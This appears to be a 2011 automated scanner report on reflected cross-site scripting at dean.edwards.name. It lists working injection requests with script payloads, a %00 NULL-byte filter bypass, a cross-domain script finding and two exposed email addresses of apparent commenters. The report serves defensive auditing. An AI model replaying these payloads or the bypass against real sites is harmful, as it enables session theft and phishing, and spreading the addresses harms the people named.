dean.edwards.name, XSS, Cross Site Scripting, CWE-79, CAPEC-86

XSS in dean.edwards.name | Vulnerability Crawler Report

Report generated by CloudScan Vulnerability Crawler at Wed Jan 05 13:28:34 CST 2011.



CWE-79 XSS Report

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1. Cross-site scripting (reflected)

1.1. http://dean.edwards.name/weblog/2006/06/again/ [REST URL parameter 1]

1.2. http://dean.edwards.name/weblog/2006/06/again/ [REST URL parameter 1]

1.3. http://dean.edwards.name/weblog/2006/06/again/ [REST URL parameter 4]

1.4. http://dean.edwards.name/weblog/2006/06/again/ [name of an arbitrarily supplied request parameter]

2. Cross-domain script include

3. Email addresses disclosed



1. Cross-site scripting (reflected)  next
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://dean.edwards.name/weblog/2006/06/again/ [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://dean.edwards.name
Path:   /weblog/2006/06/again/

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload %0018604<a>0671c748380 was submitted in the REST URL parameter 1. This input was echoed as 18604<a>0671c748380 in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /weblog%0018604<a>0671c748380/2006/06/again/ HTTP/1.1
Host: dean.edwards.name
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Wed, 05 Jan 2011 19:04:07 GMT
Server: Apache/2.2.6 (Win32) PHP/5.2.5
X-Powered-By: PHP/5.2.5
Vary: Accept-Encoding
Content-Length: 1644
Connection: close
Content-Type: text/html; charset=utf-8

<!doctype html>
<html>
<head>
<title>/404</title>
<meta name="author" content="Dean Edwards"><!-- Keeping code tidy! :) -->
<link rel="stylesheet" href="http://deanedwardsoffline.appspot.com/c
...[SNIP]...
<a>0671c748380/">weblog%0018604<a>0671c748380</a>
...[SNIP]...

1.2. http://dean.edwards.name/weblog/2006/06/again/ [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://dean.edwards.name
Path:   /weblog/2006/06/again/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00812d7"><script>alert(1)</script>b1cf7dae985 was submitted in the REST URL parameter 1. This input was echoed as 812d7"><script>alert(1)</script>b1cf7dae985 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /weblog%00812d7"><script>alert(1)</script>b1cf7dae985/2006/06/again/ HTTP/1.1
Host: dean.edwards.name
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Wed, 05 Jan 2011 19:04:06 GMT
Server: Apache/2.2.6 (Win32) PHP/5.2.5
X-Powered-By: PHP/5.2.5
Vary: Accept-Encoding
Content-Length: 1790
Connection: close
Content-Type: text/html; charset=utf-8

<!doctype html>
<html>
<head>
<title>/404</title>
<meta name="author" content="Dean Edwards"><!-- Keeping code tidy! :) -->
<link rel="stylesheet" href="http://deanedwardsoffline.appspot.com/c
...[SNIP]...
<a href="/weblog%00812d7"><script>alert(1)</script>b1cf7dae985/2006/">
...[SNIP]...

1.3. http://dean.edwards.name/weblog/2006/06/again/ [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://dean.edwards.name
Path:   /weblog/2006/06/again/

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 5b53e<a>1427ee882d3 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /weblog/2006/06/again5b53e<a>1427ee882d3/ HTTP/1.1
Host: dean.edwards.name
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Wed, 05 Jan 2011 19:04:12 GMT
Server: Apache/2.2.6 (Win32) PHP/5.2.5
X-Powered-By: PHP/5.2.5
X-Pingback: http://dean.edwards.name/weblog/xmlrpc.php
Expires: Wed, 05 Jan 2011 19:04:12 GMT
Last-Modified: Wed, 05 Jan 2011 19:04:12 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1352
Connection: close
Content-Type: text/html; charset=UTF-8

<!doctype html>
<html>
<head>
<title>dean.edwards.name/weblog/</title>
<meta name="author" content="Dean Edwards"><!-- Keeping code tidy! :) -->
<link rel="stylesheet" href="http://deanedwards
...[SNIP]...
</a>/again5b53e<a>1427ee882d3/</h1>
...[SNIP]...

1.4. http://dean.edwards.name/weblog/2006/06/again/ [name of an arbitrarily supplied request parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://dean.edwards.name
Path:   /weblog/2006/06/again/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5a243"><script>alert(1)</script>0d47400b940 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 5a243\"><script>alert(1)</script>0d47400b940 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /weblog/2006/06/again/?5a243"><script>alert(1)</script>0d47400b940=1 HTTP/1.1
Host: dean.edwards.name
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 05 Jan 2011 19:03:59 GMT
Server: Apache/2.2.6 (Win32) PHP/5.2.5
X-Powered-By: PHP/5.2.5
X-Pingback: http://dean.edwards.name/weblog/xmlrpc.php
Link: <http://dean.edwards.name/weblog/?p=75>; rel=shortlink
Expires: Wed, 05 Jan 2011 19:03:59 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 213027

<!doctype html>
<html>
<head>
<title>Dean Edwards: window.onload (again)</title>
<meta name="author" content="Dean Edwards"><!-- Keeping code tidy! :) -->
<link rel="stylesheet" href="http://d
...[SNIP]...
<form class="contact" action="/weblog/2006/06/again/?5a243\"><script>alert(1)</script>0d47400b940=1#preview" method="post">
...[SNIP]...

2. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://dean.edwards.name
Path:   /weblog/2006/06/again/

Issue detail

The response dynamically includes the following script from another domain:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /weblog/2006/06/again/ HTTP/1.1
Host: dean.edwards.name
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 05 Jan 2011 19:03:16 GMT
Server: Apache/2.2.6 (Win32) PHP/5.2.5
X-Powered-By: PHP/5.2.5
X-Pingback: http://dean.edwards.name/weblog/xmlrpc.php
Link: <http://dean.edwards.name/weblog/?p=75>; rel=shortlink
Expires: Wed, 05 Jan 2011 19:03:16 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 212914

<!doctype html>
<html>
<head>
<title>Dean Edwards: window.onload (again)</title>
<meta name="author" content="Dean Edwards"><!-- Keeping code tidy! :) -->
<link rel="stylesheet" href="http://d
...[SNIP]...
<link rel="icon" href="/favicon.ico" type="image/x-icon">
<script src="http://deanedwardsoffline.appspot.com/js/my.js"></script>
...[SNIP]...

3. Email addresses disclosed  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://dean.edwards.name
Path:   /weblog/2006/06/again/

Issue detail

The following email addresses were disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /weblog/2006/06/again/ HTTP/1.1
Host: dean.edwards.name
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 05 Jan 2011 19:03:16 GMT
Server: Apache/2.2.6 (Win32) PHP/5.2.5
X-Powered-By: PHP/5.2.5
X-Pingback: http://dean.edwards.name/weblog/xmlrpc.php
Link: <http://dean.edwards.name/weblog/?p=75>; rel=shortlink
Expires: Wed, 05 Jan 2011 19:03:16 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 212914

<!doctype html>
<html>
<head>
<title>Dean Edwards: window.onload (again)</title>
<meta name="author" content="Dean Edwards"><!-- Keeping code tidy! :) -->
<link rel="stylesheet" href="http://d
...[SNIP]...
<a href="mailto:kevinl@directlogistics.com">kevinl@directlogistics.com</a>
...[SNIP]...
Event call occurs,only the last registed handler through addLoadEvent will be triggered,and thus,the rest will be simply ignored.How can i get around this problem in MSIE??
Any idea please contact me:lenatis@gmail.com
</p>
...[SNIP]...

Report generated by CloudScan Vulnerability Crawler at Wed Jan 05 13:28:34 CST 2011.